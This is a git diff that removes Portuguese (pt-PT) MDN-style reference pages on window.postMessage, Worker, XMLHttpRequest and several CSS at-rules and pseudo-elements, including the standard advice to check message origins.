Specifies what the origin of otherWindow must be for the event to be dispatched, either as the literal string "*" (indicating no preference) or as a URI. If at the time the event is scheduled to be dispatched the scheme, hostname, or port of otherWindow's document does not match that provided in targetOrigin, the event will not be dispatched; only if all three match will the event be dispatched. This mechanism provides control over where messages are sent; for example, if postMessage() was used to transmit a password, it would be absolutely critical that this argument be a URI whose origin is the same as the intended receiver of the message containing the password, to prevent interception of the password by a malicious third party. Always provide a specific targetOrigin, not *, if you know where the other window's document should be located. Failing to provide a specific target discloses the data you send to any interested malicious site.
-
transfer {{optional_Inline}}
-
Is a sequence of {{domxref("Transferable")}} objects that are transferred with the message. The ownership of these objects is given to the destination side and they are no longer usable on the sending side.
-
- -

O evento expedido

- -

otherWindow can listen for dispatched messages by executing the following JavaScript:

- -
window.addEventListener("message", receiveMessage, false);
-
-function receiveMessage(event)
-{
-  if (event.origin !== "http://example.org:8080")
-    return;
-
-  // ...
-}
-
- -

The properties of the dispatched message are:

- -
-
data
-
The object passed from the other window.
-
origin
-
The origin of the window that sent the message at the time postMessage was called. This string is the concatenation of the protocol and "://", the host name if one exists, and ":" followed by a port number if a port is present and differs from the default port for the given protocol. Examples of typical origins are https://example.org (implying port 443), http://example.net (implying port 80), and http://example.com:8080. Note that this origin is not guaranteed to be the current or future origin of that window, which might have been navigated to a different location since postMessage was called.
-
source
-
A reference to the window object that sent the message; you can use this to establish two-way communication between two windows with different origins.
-
- -

Preocupações de segurança

- -

If you do not expect to receive messages from other sites, do not add any event listeners for message events. This is a completely foolproof way to avoid security problems.

- -

If you do expect to receive messages from other sites, always verify the sender's identity using the origin and possibly source properties. Any window (including, for example, http://evil.example.com) can send a message to any other window, and you have no guarantees that an unknown sender will not send malicious messages. Having verified identity, however, you still should always verify the syntax of the received message. Otherwise, a security hole in the site you trusted to send only trusted messages could then open a cross-site scripting hole in your site.

- -

Always specify an exact target origin, not *, when you use postMessage to send data to other windows. A malicious site can change the location of the window without your knowledge, and therefore it can intercept the data sent using postMessage.

- -

Exemplo

- -
/*
- * In window A's scripts, with A being on <http://example.com:8080>:
- */
-
-var popup = window.open(...popup details...);
-
-// When the popup has fully loaded, if not blocked by a popup blocker:
-
-// This does nothing, assuming the window hasn't changed its location.
-popup.postMessage("The user is 'bob' and the password is 'secret'",
-                  "https://secure.example.net");
-
-// This will successfully queue a message to be sent to the popup, assuming
-// the window hasn't changed its location.
-popup.postMessage("hello there!", "http://example.com");
-
-function receiveMessage(event)
-{
-  // Do we trust the sender of this message?  (might be
-  // different from what we originally opened, for example).
-  if (event.origin !== "http://example.com")
-    return;
-
-  // event.source is popup
-  // event.data is "hi there yourself!  the secret response is: rheeeeet!"
-}
-window.addEventListener("message", receiveMessage, false);
-
- -
/*
- * In the popup's scripts, running on <http://example.com>:
- */
-
-// Called sometime after postMessage is called
-function receiveMessage(event)
-{
-  // Do we trust the sender of this message?
-  if (event.origin !== "http://example.com:8080")
-    return;
-
-  // event.source is window.opener
-  // event.data is "hello there!"
-
-  // Assuming you've verified the origin of the received message (which
-  // you must do in any case), a convenient idiom for replying to a
-  // message is to call postMessage on event.source and provide
-  // event.origin as the targetOrigin.
-  event.source.postMessage("hi there yourself!  the secret response " +
-                           "is: rheeeeet!",
-                           event.origin);
-}
-
-window.addEventListener("message", receiveMessage, false);
-
- -

Notas

- -

Any window may access this method on any other window, at any time, regardless of the location of the document in the window, to send it a message. Consequently, any event listener used to receive messages must first check the identity of the sender of the message, using the origin and possibly source properties. This cannot be overstated: Failure to check the origin and possibly source properties enables cross-site scripting attacks.

- -

As with any asynchronously-dispatched script (timeouts, user-generated events), it is not possible for the caller of postMessage to detect when an event handler listening for events sent by postMessage throws an exception.

- -

The value of the origin property of the dispatched event is not affected by the current value of document.domain in the calling window.

- -

For IDN host names only, the value of the origin property is not consistently Unicode or punycode; for greatest compatibility check for both the IDN and punycode values when using this property if you expect messages from IDN sites. This value will eventually be consistently IDN, but for now you should handle both IDN and punycode forms.

- -

The value of the origin property when the sending window contains a javascript: or data: URL is the origin of the script that loaded the URL.

- -

Utilizar window.postMessage nas extensões {{Non-standard_inline}}

- -

window.postMessage is available to JavaScript running in chrome code (e.g., in extensions and privileged code), but the source property of the dispatched event is always null as a security restriction. (The other properties have their expected values.)

- -

It is not possible for content or web context scripts to specify a targetOrigin to communicate directly with an extension (either the background script or a contet script).  Web or content scripts can use window.postMessage with a targetOrigin of "*" to broadcast to every listener, but this is discouraged, since an extension cannot be certain the origin of such messages, and other listeners (including those you do not control) can listen in.

- -

Content scripts should use runtime.sendMessage to communicate with the background script.  Web context scripts can use custom events to communicate with content scripts (with randomly generated event names, if needed, to prevent snooping from the guest page).

- -

Lastly, posting a message to a page at a file: URL currently requires that the targetOrigin argument be "*". file:// cannot be used as a security restriction; this restriction may be modified in the future.

- -

Especificacações

- - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('HTML WHATWG', "web-messaging.html#dom-window-postmessage", "postMessage()")}}{{Spec2('HTML WHATWG')}} 
- -

Browser compatibility

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FuncionalidadeChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Suporte básico1.0{{CompatVersionUnknown}}{{CompatGeckoDesktop(6.0)}}[1]
- {{CompatGeckoDesktop(8.0)}}[2]
8.0[3]
- 10.0[4]
9.54.0
transfer argument{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(20.0)}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FuncionalidadeAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(6.0)}}[1]
- {{CompatGeckoDesktop(8.0)}}[2]
{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}[5]
transfer argument{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(20.0)}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

[1] Prior to Gecko 6.0 {{geckoRelease("6.0")}}, the message parameter must be a string. Starting in Gecko 6.0 {{geckoRelease("6.0")}}, the message parameter is serialized using the structured clone algorithm. This means you can pass a broad variety of data objects safely to the destination window without having to serialize them yourself.

- -

[2] Gecko 8.0 introduced support for sending {{domxref("File")}} and {{domxref("FileList")}} objects between windows. This is only allowed if the recipient's principal is contained within the sender's principal for security reasons.

- -

[3] IE8 and IE9 only support it for {{HTMLElement("frame")}} and {{HTMLElement("iframe")}}.

- -

[4] IE10 has important limitations: see this article for details.

- -

[5] Due to security reasons, to work properly on Safari, use construction with document.getElementId('your-frame').contentWindow

- -

Consulte também

- - - -
- - - - - -
diff --git a/files/pt-pt/web/api/window/sidebar/index.html b/files/pt-pt/web/api/window/sidebar/index.html deleted file mode 100644 index 281555281d..0000000000 --- a/files/pt-pt/web/api/window/sidebar/index.html +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: Window.sidebar -slug: Web/API/Window/sidebar -tags: - - DOM - - Janela - - Não Padrão - - Propriedade - - Referencia -translation_of: Web/API/Window/sidebar -original_slug: Web/API/Window/barra_lateral ---- -
{{APIRef}} {{Non-standard_header}}
- -

Devolve um objeto da barra lateral, que contém vários métodos para registar extras com o navegador.

- -

Notas

- -

O objeto da barra lateral devolvido tem os seguintes métodos:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
MétodoDescrição (SeaMonkey)Descrição (Firefox)
addPanel(title, contentURL, "")Adiciona um painel de barra lateral.Obsoleto desde o Firefox 23 (apresentado apenas no SeaMonkey).
- Em vez disso, os utilizadores finais podem utilizar a opção "carregar este marcador na barra lateral". Consulte também Criação de uma barra lateral do Firefox.
addPersistentPanel(title, contentURL, "")Adiciona um painel de barra lateral, que consegue funcionar em segundo plano.
AddSearchProvider(descriptionURL)Installs a search provider (OpenSearch). Adding OpenSearch search engines contains more details. Added in Firefox 2.
addSearchEngine(engineURL, iconURL, suggestedTitle, suggestedCategory) {{Obsolete_inline(44)}} -

Installs a search engine (Sherlock). Adding Sherlock search engines contains more details.

- -
-

Note: This was made obsolete in Firefox 44, and has been removed completely in Firefox 59. You should use AddSearchProvider instead.

-
-
IsSearchProviderInstalled(descriptionURL)Indicates if a specific search provider (OpenSearch) is installed.
- -

Especificação

- -

Específico da Mozilla. Não faz parte de qualquer padrão.

diff --git a/files/pt-pt/web/api/worker/index.html b/files/pt-pt/web/api/worker/index.html deleted file mode 100644 index ee53553220..0000000000 --- a/files/pt-pt/web/api/worker/index.html +++ /dev/null @@ -1,270 +0,0 @@ ---- -title: Worker -slug: Web/API/Worker -translation_of: Web/API/Worker ---- -

{{APIRef("Web Workers API")}}

- -

A interface do Worker da API de Workers da Web representa uma tarefa em segundo palno que pode ser criada facilmente e pode enviar mensagens de volta para o seu criador. Criar um worker é tão simples como chamar o criador de Worker() e especificar um script para ser executado na sequência do worker.

- -

Os workers podem, por sua vez, gerar novos workers enquanto esses workers estiverem alojados dentro da mesma origem como a página original (Nota: os workers integrados não estão atualmente implementados no Blink).  Em adição os workers poderão utilizar XMLHttpRequest para I/O rede, com a estipulação que a responseXML e os atributos channel no XMLHttpRequest retornam sempre null.

- -

Nem todas as interfaces e funções estão disposníveis para o script associado com um Worker.

- -

No Firefox, se quiser utilziar os workers nas extensões e pretender ter acesso a js-ctypes, então deverá utilizar o objeto {{ domxref("ChromeWorker") }}.

- -

Criadores

- -
-
{{domxref("Worker.Worker", "Worker()")}}
-
Creates a dedicated web worker that executes the script at the specified URL. Workers can also be constructed using Blobs.
-
- -

Propriedades

- -

Inherits properties from its parent, {{domxref("EventTarget")}}, and implements properties from {{domxref("AbstractWorker")}}.

- -

Manipuladores de evento

- -
-
{{domxref("AbstractWorker.onerror")}}
-
An {{ domxref("EventListener") }} called whenever an {{domxref("ErrorEvent")}} of type error bubbles through to the worker. This is inherited from {{domxref("AbstractWorker")}}.
-
{{domxref("Worker.onmessage")}}
-
An {{ domxref("EventListener") }} called whenever a {{domxref("MessageEvent")}} of type message bubbles through the worker — i.e. when a message is sent to the parent document from the worker via {{domxref("DedicatedWorkerGlobalScope.postMessage")}}. The message is stored in the event's {{domxref("MessageEvent.data", "data")}} property.
-
{{domxref("Worker.onmessageerror")}}
-
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("messageerror")}} event is raised.
-
- -
-
- -

Métodos

- -

Inherits methods from its parent, {{domxref("EventTarget")}}, and implements methods from {{domxref("AbstractWorker")}}.

- -
-
{{domxref("Worker.postMessage()")}}
-
Sends a message — which can consist of any JavaScript object — to the worker's inner scope.
-
{{domxref("Worker.terminate()")}}
-
Immediately terminates the worker. This does not offer the worker an opportunity to finish its operations; it is simply stopped at once. ServiceWorker instances do not support this method.
-
- -

Exemplo

- -

The following code snippet shows creation of a {{domxref("Worker")}} object using the {{domxref("Worker.Worker", "Worker()")}} constructor and usage of the object:

- -
var myWorker = new Worker('worker.js');
-var first = document.querySelector('#number1');
-var second = document.querySelector('#number2');
-
-first.onchange = function() {
-  myWorker.postMessage([first.value,second.value]);
-  console.log('Message posted to worker');
-}
- -

For a full example, see ourBasic dedicated worker example (run dedicated worker).

- -

Especificações

- - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('HTML WHATWG', "#worker", "Worker")}}{{Spec2('HTML WHATWG')}} 
- -

Compatibilidade de navegador

- -

Support varies for different types of workers. See each worker type's page for specifics.

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FuncionalidadeChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support4{{CompatVersionUnknown}}3.510.010.64
Constructor name option{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop(55)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
onmessageerror60{{CompatUnknown}}{{CompatGeckoDesktop(57)}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support4.4{{CompatVersionUnknown}}3.510.011.55.1{{CompatUnknown}}
Constructor name option{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(55)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
onmessageerror60{{CompatUnknown}}{{CompatGeckoMobile(57)}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

Cross-origin worker error behaviour

- -

In earlier browser versions, trying to load a cross-origin worker script threw a SecurityError; in newer browsers an {{event("error")}} event is thrown instead due to a spec change. Find out more information on how to deal with this in Loading cross-origin worker now fires error event instead of throwing; worker in sandboxed iframe no longer allowed.

- -

Consultar também

- - - -
- - - - - -
diff --git a/files/pt-pt/web/api/xmlhttprequest/index.html b/files/pt-pt/web/api/xmlhttprequest/index.html deleted file mode 100644 index 3e5489f088..0000000000 --- a/files/pt-pt/web/api/xmlhttprequest/index.html +++ /dev/null @@ -1,174 +0,0 @@ ---- -title: XMLHttpRequest -slug: Web/API/XMLHttpRequest -tags: - - AJAX - - API - - HTTP - - Interface - - Referencia - - Web - - XHR -translation_of: Web/API/XMLHttpRequest ---- -
{{APIRef("XMLHttpRequest")}}
- -

Utilize os objetos XMLHttpRequest (XHR) para interagir com os servidores. Pode obter os dados de um URL sem ter que recarregar toda a página. Isto permite que uma página da Web atualize apenas parte da mesma, sem interromper o que o utilizador está a fazer. XMLHttpRequest é totalmente utilizado na programação Ajax.

- -

{{InheritanceDiagram}}

- -
História
- -

XMLHttpRequest was originally designed by Microsoft around 1999 and later adopted by Mozilla, Apple, and Google. Since October 2014, it has been standardized at the WHATWG, together with the new promise-based {{domxref("WindowOrWorkerGlobalScope.fetch()", "fetch()")}} method.

- -

Despite its name, XMLHttpRequest can be used to retrieve any type of data, not just XML, and it supports protocols other than HTTP (including file and ftp).

- -

Constructor

- -
-
{{domxref("XMLHttpRequest.XMLHttpRequest", "XMLHttpRequest()")}}
-
The constructor initializes an XMLHttpRequest. It must be called before any other method calls.
-
- -

Propriedades

- -

This interface also inherits properties of {{domxref("XMLHttpRequestEventTarget")}} and of {{domxref("EventTarget")}}.

- -
-
{{domxref("XMLHttpRequest.onreadystatechange")}}
-
An {{domxref("EventHandler")}} that is called whenever the readyState attribute changes.
-
{{domxref("XMLHttpRequest.readyState")}} {{readonlyinline}}
-
Returns an unsigned short, the state of the request.
-
{{domxref("XMLHttpRequest.response")}} {{readonlyinline}}
-
Returns an {{domxref("ArrayBuffer")}}, {{domxref("Blob")}}, {{domxref("Document")}}, JavaScript object, or a {{domxref("DOMString")}}, depending on the value of {{domxref("XMLHttpRequest.responseType")}}. that contains the response entity body.
-
{{domxref("XMLHttpRequest.responseText")}} {{readonlyinline}}
-
Returns a {{domxref("DOMString")}} that contains the response to the request as text, or null if the request was unsuccessful or has not yet been sent.
-
{{domxref("XMLHttpRequest.responseType")}}
-
Is an enumerated value that defines the response type.
-
{{domxref("XMLHttpRequest.responseURL")}} {{readonlyinline}}
-
Returns the serialized URL of the response or the empty string if the URL is null.
-
{{domxref("XMLHttpRequest.responseXML")}} {{readonlyinline}}
-
Returns a {{domxref("Document")}} containing the response to the request, or null if the request was unsuccessful, has not yet been sent, or cannot be parsed as XML or HTML. Not available in workers.
-
{{domxref("XMLHttpRequest.status")}} {{readonlyinline}}
-
Returns an unsigned short with the status of the response of the request.
-
{{domxref("XMLHttpRequest.statusText")}} {{readonlyinline}}
-
Returns a {{domxref("DOMString")}} containing the response string returned by the HTTP server. Unlike {{domxref("XMLHTTPRequest.status")}}, this includes the entire text of the response message ("200 OK", for example).
-
- -
-

Nota: via HTTP/2 specification (8.1.2.4 Response Pseudo-Header Fields), HTTP/2 does not define a way to carry the version or reason phrase that is included in an HTTP/1.1 status line.

-
- -
-
{{domxref("XMLHttpRequest.timeout")}}
-
Is an unsigned long representing the number of milliseconds a request can take before automatically being terminated.
-
{{domxref("XMLHttpRequestEventTarget.ontimeout")}}
-
Is an {{domxref("EventHandler")}} that is called whenever the request times out. {{gecko_minversion_inline("12.0")}}
-
{{domxref("XMLHttpRequest.upload")}} {{readonlyinline}}
-
Is an {{domxref("XMLHttpRequestUpload")}}, representing the upload process.
-
{{domxref("XMLHttpRequest.withCredentials")}}
-
Is a {{domxref("Boolean")}} that indicates whether or not cross-site Access-Control requests should be made using credentials such as cookies or authorization headers.
-
- -

Proriedades não padrão

- -
-
{{domxref("XMLHttpRequest.channel")}}{{ReadOnlyInline}}
-
Is a {{Interface("nsIChannel")}}. The channel used by the object when performing the request.
-
{{domxref("XMLHttpRequest.mozAnon")}}{{ReadOnlyInline}}
-
Is a boolean. If true, the request will be sent without cookie and authentication headers.
-
{{domxref("XMLHttpRequest.mozSystem")}}{{ReadOnlyInline}}
-
Is a boolean. If true, the same origin policy will not be enforced on the request.
-
{{domxref("XMLHttpRequest.mozBackgroundRequest")}}
-
Is a boolean. It indicates whether or not the object represents a background service request.
-
{{domxref("XMLHttpRequest.mozResponseArrayBuffer")}}{{gecko_minversion_inline("2.0")}} {{obsolete_inline("6")}} {{ReadOnlyInline}}
-
Is an ArrayBuffer. The response to the request, as a JavaScript typed array.
-
{{domxref("XMLHttpRequest.multipart")}}{{obsolete_inline("22")}}
-
This Gecko-only feature, a boolean, was removed in Firefox/Gecko 22. Please use Server-Sent Events, Web Sockets, or responseText from progress events instead.
-
- -

Manipuladores de evento

- -

onreadystatechange as a property of the XMLHttpRequest instance is supported in all browsers.

- -

Since then, a number of additional event handlers were implemented in various browsers (onload, onerror, onprogress, etc.). These are supported in Firefox. In particular, see nsIXMLHttpRequestEventTarget and Using XMLHttpRequest.

- -

More recent browsers, including Firefox, also support listening to the XMLHttpRequest events via standard addEventListener APIs in addition to setting on* properties to a handler function.

- -

Métodos

- -
-
{{domxref("XMLHttpRequest.abort()")}}
-
Aborts the request if it has already been sent.
-
{{domxref("XMLHttpRequest.getAllResponseHeaders()")}}
-
Returns all the response headers, separated by CRLF, as a string, or null if no response has been received.
-
{{domxref("XMLHttpRequest.getResponseHeader()")}}
-
Returns the string containing the text of the specified header, or null if either the response has not yet been received or the header doesn't exist in the response.
-
{{domxref("XMLHttpRequest.open()")}}
-
Initializes a request. This method is to be used from JavaScript code; to initialize a request from native code, use openRequest() instead.
-
{{domxref("XMLHttpRequest.overrideMimeType()")}}
-
Overrides the MIME type returned by the server.
-
{{domxref("XMLHttpRequest.send()")}}
-
Sends the request. If the request is asynchronous (which is the default), this method returns as soon as the request is sent.
-
{{domxref("XMLHttpRequest.setRequestHeader()")}}
-
Sets the value of an HTTP request header. You must call setRequestHeader()after open(), but before send().
-
- -

Métodos não padrão

- -
-
{{domxref("XMLHttpRequest.init()")}}
-
Initializes the object for use from C++ code.
-
- -
Aviso: este método não deve ser chamado do JavaScript.
- -
-
{{domxref("XMLHttpRequest.openRequest()")}}
-
Initializes a request. This method is to be used from native code; to initialize a request from JavaScript code, use open() instead. See the documentation for open().
-
{{domxref("XMLHttpRequest.sendAsBinary()")}}{{deprecated_inline()}}
-
A variant of the send() method that sends binary data.
-
- -

Especificações

- - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('XMLHttpRequest')}}{{Spec2('XMLHttpRequest')}}Live standard, latest version
- -

Compatibilidade de navegador

- - - -
{{Compat("api.XMLHttpRequest")}}
- -

Consulte também

- - diff --git a/files/pt-pt/web/css/@font-face/index.html b/files/pt-pt/web/css/@font-face/index.html deleted file mode 100644 index 8a150d736c..0000000000 --- a/files/pt-pt/web/css/@font-face/index.html +++ /dev/null @@ -1,143 +0,0 @@ ---- -title: '@font-face' -slug: Web/CSS/@font-face -translation_of: Web/CSS/@font-face ---- -

{{ CSSRef() }}

- -

Resumo

- -

@font-face permite que autores especifiquem fontes online para exibir texto em suas páginas web. Permitindo autores a proporcionar suas próprias fontes, @font-face elimina a necessidade de depender do limitado número de fontes que os usuários tem instalado em seus computadores.

- -

Sintaxe

- -
@font-face {
-  font-family: <a-remote-font-name>;
-  src: <source> [,<source>]*;
-  [font-weight: <weight>];
-  [font-style: <style>];
-}
-
- -

Valores

- -
-
<a-remote-font-name> 
-
Especifica um nome para a fonte que será usado como valor de font-face na propriedade font.
-
<source> 
-
URL para a localização remota do arquivo da fonte ou o nome da fonte no computador do usuário na forma local("Nome da Font").
-
<weight> 
-
Um valor para a espessura da fonte (font weight (en)).
-
<style> 
-
Um valor para o estilo da fonte (font style (en)).
-
- -

Você pode especificar uma fonte local no computador do usuário através do nome, usando a sintaxe local(). Se esta fonte não for encontrada, outras fontes serão tentadas até que uma seja encontrada.

- -

Formatos de fontes suportados

- -
    -
  • O Gecko 1.9.1 (Firefox 3.5) suporta fontes True Type e OpenType.
  • -
  • O Gecko 1.9.2 (Firefox 3.6) adiciona suporte para WOFF (en).
  • -
- -

Exemplos

- -

Este simples exemplo especifica uma fonte baixável para uso, aplicando-a ao corpo do documento.

- -

Ver amostra

- -
<html>
-<head>
-  <title>Web Font Sample</title>
-  <style type="text/css" media="screen, print">
-    @font-face {
-      font-family: "Bitstream Vera Serif Bold";
-      src: url("http://developer.mozilla.org/@api/deki/files/2934/=VeraSeBd.ttf");
-    }
-
-    body { font-family: "Bitstream Vera Serif Bold", serif }
-  </style>
-</head>
-<body>
-  This is Bitstream Vera Serif Bold.
-</body>
-</html>
-
- -

Neste exemplo, a cópia local do usuário de "Helvetica Neue Bold" é usada; se o usuário não possuir a fonte instalada (dois diferentes nomes são tentados), então, a fonte baixável, chamada "MgOpenModernaBold.ttf" é usada em seu lugar:

- -
@font-face {
-  font-family: MyHelvetica;
-  src: local("Helvetica Neue Bold"),
-  local("HelveticaNeue-Bold"),
-  url(MgOpenModernaBold.ttf);
-  font-weight: bold;
-}
-
- -

Notas

- -
    -
  • No Gecko, fontes web estão sujeitas à mesma restrição de domínio (arquivos de fontes precisam estar no mesmo domínio da página que os está utilizando), a menos que HTTP access controls (EN) seja usado para relaxar esta restrição.
  • -
  • -
    Nota: O tipo MIME do arquivo especificado não é considerado porque não há tipos MIME definidos parar fontes TrueType e OpenType.
    -
  • -
  • Quando o Gecko exibe uma página que usa fontes web, ele inicialmente exibe o texto usando a melhor fonte fallback CSS disponível no computador do usuário enquanto aguarda o fim do download da fonte web. Conforme as fontes web são baixadas, o Gecko atualiza o texto que use essa fonte. Isto permite que o usuário leia o texto da página mais rapidamente.
  • -
- -

Compatibilidade com navegadores

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
NavegadorVersão mais antigaSuporte a
Internet Explorer4.0Somente fontes OpenType embutidas
Firefox (Gecko)3.5 (1.9.1)Somente fontes TrueType e OpenType
3.6 (1.9.2)Formato de fonte web aberta (WOFF)
Opera10.0Somente fontes TrueType e OpenType
Safari (WebKit)3.1 (525)Somente fontes TrueType e OpenType
- -

Veja também MSDN Microsoft library @font-face (EN).

- -

Especificações

- - - -

Veja também

- - diff --git a/files/pt-pt/web/css/@import/index.html b/files/pt-pt/web/css/@import/index.html deleted file mode 100644 index b67776898e..0000000000 --- a/files/pt-pt/web/css/@import/index.html +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: '@import' -slug: Web/CSS/@import -tags: - - At-rule - - CSS - - Referencia - - Referencia_CSS - - import -translation_of: Web/CSS/@import ---- -

{{ CSSRef() }}

- -

Resumo

- -

@import é utilizado para importar regras de estilo de outros folhas de estilo.

- -

Sintaxe

- -
@import "url";
-@import "url"media1,media2,...;
-@import url("url");
-@import url("url")media1;
-
- -

Notas

- -

De modo que agentes do usuário possam evitar recuperar recursos para tipos não suportados de mídia, autores podem especificar regras @import dependentes de mídia. A importação destas condicionais especifica separado por vírgulas os tipos de mídia depois da URL. No all para o médio tem o mesmo efeito.

- -

Exemplos

- -
@import url("fineprint.css") print;
-@import url("bluish.css") projection, tv;
-
- -

Especificações

- - - -

Compatibilidade com navegadores

- -

Veja também

- -

{{ Cssxref("@media") }}, {{ Cssxref("@font-face") }}, {{ Cssxref("@import") }}

- -

Categorias

- -

Interwiki Language Links

- -

{{ languages( { "en": "en/CSS/@import", "fr": "fr/CSS/@import", "pl": "pl/CSS/@import" } ) }}

diff --git a/files/pt-pt/web/css/@media/index.html b/files/pt-pt/web/css/@media/index.html deleted file mode 100644 index 959cc3c59f..0000000000 --- a/files/pt-pt/web/css/@media/index.html +++ /dev/null @@ -1,276 +0,0 @@ ---- -title: '@media' -slug: Web/CSS/@media -tags: - - CSS - - Referencia - - Referencia_CSS -translation_of: Web/CSS/@media ---- -

{{ CSSRef() }}

- -

A regra "at" @media de CSS permite aplicar parte de uma folha de estilos com a condição definida por uma ou mais consultas de média.

- -

Pode utilizar-se tanto no início do código como dentro de qualquer outra regra "at" condicional.

- -
-

Nota: Em JavaScript, a funcionalidade desta regra está disponível através da interface {{domxref("CSSMediaRule")}} do modelo/objeto CSS.

-
- -

Sintaxe

- -
/* No nível mais abrangente do código */
-@media screen and (min-width: 900px) {
-  article {
-    padding: 1rem 3rem;
-  }
-}
-
-/* Dentro de outra regra-"at" condicional */
-@supports (display: flex) {
-  @media screen and (min-width: 900px) {
-    article {
-      display: flex;
-    }
-  }
-}
- -

Para aprofundar a sintaxe de consultas de média, por favor leia Utilizar consultas de média.

- -

Tipos de média

- -
-
all (todos)
-
Destinado para todos os dispositivos.
-
print (impressão)
-
Destinado para material paginado e para documentos visualizados no ecrã no modo de pré-visualizar impressão. Por favor, consulte a secção de média paginada, e a secção de média do tutorial de Como Começar para informação sobre a formatação de problemas que são específicos para a média paginada.
-
screen (ecrã)
-
Destinado primariamente para os ecrãs de computador a cores.
-
speech (elocução)
-
-

Pretendido para sintetizadores de fala. Nota: CSS2 tem um tipo de mídia similar chamado 'aural' para esta proposta. Veja o apêndice em folhas de estilo aural para detalhes.

-
-
- -

Grupos de Média

- -
-

Nota: Esta secção aplica-se a CSS 2.1. Há vários tipos de média, introduzidos nas especificações do CSS2.1 e Media Queries 3, que foram descontinuados, como ttytvprojectionhandheldbrailleembossed, and aural. O tipo aural foi substituído pelo speech, que é semelhante.

-
- -

Tipos de média são também parte de diferentes grupos de média. A seguinte tabela indica que tipos estão em cada grupo.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Grupos
Tiposcontinuouspagedvisualaudiospeechtactilegridbitmapinteractivestatic
brailleXXXXX
embossedXXXX
handheldXXXXXXXXX
printXXXX
projectionXXXX
screenXXXXXX
auralXXXX
ttyXXXXX
tvXXXXXXX
- -

Exemplos

- -
  @media print {
-    body { font-size: 10pt }
-  }
-  @media screen {
-    body { font-size: 13px }
-  }
-  @media screen, print {
-    body { line-height: 1.2 }
-  }
-
- -

Questões de acessibilidade

- -

Para comodidade das pessoas que ampliam o tamanho do texto, deve-se utilizar medidas em em na definição de {{cssxref("<length>")}}. Esta medida funciona melhor do que px quando o utilizar muda o tamanho do texto no navegador.

- -

Considere usar consulta de média Level 4 (Nível 4) para melhorar experiência de utilização. Por exemplo, prefers-reduced-motion para detetar se o utilizador pediu ao sistema para minimizar a quantidade de animaçõe ou movimentos.

- -

Especificações

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('CSS5 Media Queries', '#at-media5', '@media')}}{{Spec2('CSS5 Media Queries')}}Reinstituída consultas de média light-levelinverted-colors e consultas média personalizadas, as quais foram removidas do Level 4 (Nível 4).
- Adicionados recursos de média prefers-reduced-motionprefers-reduced-transparencyprefers-contrast, e prefers-color-scheme.
{{SpecName('CSS3 Conditional', '#at-media', '@media')}}{{Spec2('CSS3 Conditional')}}Definida sintaxe básica da regra @media.
{{SpecName('CSS4 Media Queries', '#media', '@media')}}{{Spec2('CSS4 Media Queries')}} -

Adicionados recursos média scriptingpointerhoverupdateoverflow-block, e overflow-inline.
- Descontinuação de todos os tipos de média excepto screenprintspeech, e all.
- Tornou a sintaxe mais flexível com adição, entre outras coisas, da palavra-chave or.

-
{{SpecName('CSS3 Media Queries', '#media0', '@media')}}{{Spec2('CSS3 Media Queries')}}Sem alterações.
{{SpecName('CSS2.1', 'media.html#at-media-rule', '@media')}}{{Spec2('CSS2.1')}}Definição inicial.
- -

== Compatibilidade com navegadores ==

- -

Consulte também

- - - -

{{ languages( { "en": "en/CSS/@media", "fr": "fr/CSS/@media", "pl": "pl/CSS/@media" } ) }}

diff --git a/files/pt-pt/web/css/_doublecolon_after/index.html b/files/pt-pt/web/css/_doublecolon_after/index.html deleted file mode 100644 index 26675ab646..0000000000 --- a/files/pt-pt/web/css/_doublecolon_after/index.html +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: ':after | ::after' -slug: Web/CSS/::after -tags: - - Referencia_CSS -translation_of: Web/CSS/::after -original_slug: Web/CSS/:after ---- -

{{ CSSRef() }}

-

Resumo

-

:after cria um pseudo-elemento que é a última criança do elemento selecionado. Tipicamente usado para adicionar conteúdo cosmético a um elemento, pelo uso da propriedade CSS {{ cssxref("content") }}. Este elemento é inline por padrão.

-

